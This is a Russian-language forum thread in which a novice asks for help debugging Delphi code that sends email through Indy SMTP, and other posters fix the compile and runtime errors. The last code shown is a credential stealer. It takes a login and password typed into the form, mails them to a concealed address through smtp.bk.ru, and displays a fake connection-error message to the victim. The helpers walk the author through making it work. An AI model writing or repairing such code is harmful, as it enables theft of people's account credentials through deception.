[Delphi] Вопрос по коду

Ребят подскажите пожалуйста, что это такое.
Пишу прогу для отправки данных на почту.
....
except on E:Exception do
begin
MeMailStats.Lines.Insert(0,Статус отправки: ERROR - '+E.Message);
ShowMessage('Письмо не отправлено');
end;
end;
finally
SMTP.Disconnect; /
end;
end;


Ошибка [Error] Unit1.pas(80): Undeclared identifier: 'MeMailStats'

помогите решить

 

мемо точно называется MeMailStats? если да - попробуй form1.MeMailStats.Lines.Insert(0,Статус отправки: ERROR - '+E.Message);

 

как вообще можно убрать эту проверку и закончить программу?

 

исправь ошибку, и всё станет чудесно.

 

пробовал сделать вот так

SMTP.Connect;
SMTP.Send(IdMessage1);
ShowMessage('Письмо отправлено!');
except on E:Exception do
SMTP.Disconnect;
end;
end;


показывает ошибку
[Error] Unit1.pas(79): EXCEPT or FINALLY expected


в иделе не хочу чтобы эта проверка вообще была

 

убери:

и два try, которые идут где-то выше

 

все сделал, теперь ошибка

[Warning] Unit1.pas(62): Variable 'SMTP' might not have been initialized


var
SMTP:TIdSMTP;

......
SMTP.Connect; // соединение с почтовым сервером
SMTP.Send(IdMessage1);
ShowMessage('Письмо отправлено!');
SMTP.Disconnect; // разрыв соединения
end;


в чем проблема?

 

Code:

SMTP := TIdSMTP.Create(nil);

Компилятор же ясно написал, обращение к неинициализированной переменной.

Ты ведь не можешь попить кофе, пока его не приготовишь.
Ну вот тут так же, не создал объект - не сможешь его использовать.
лол, надо идти спать...

 

var
SMTP:TIdSMTP;

begin
SMTP.Host:='smtp.bk.ru';
SMTP.Port:=25;
//
SMTP.AuthenticationType:=atLogin;
SMTP.Username:='bLabLabLa';
SMTP.Password:='bLabLabLa';
//
IdMessage1.Recipients.EMailAddresses := 'bLabLabLa ';
IdMessage1.From.Text := 'bLabLabLa';
IdMessage1.Subject := 'тест!';
IdMessage1.Body.Text := 'login:'+edit1.Text+ ' ' +'Password:' + maskedit1.Text;
SMTP.Connect;
SMTP.Send(IdMessage1);
ShowMessage('Соединение с интернетом прервано, проверьте правильность настроек!');
SMTP.Disconnect;
end;
end;


куда вставить? голова уже кипит

 

Сразу после begin

Code:

var
SMTP:TIdSMTP;
begin
[B]SMTP := TIdSMTP.Create(nil);[/B]
SMTP.Host:='smtp.bk.ru'; 
SMTP.Port:=25;
...

 

все сделал и вышла ошибка

Project1.exe raised exceprion class EIDProtocolReplyError with message 'Incorrect authentification data'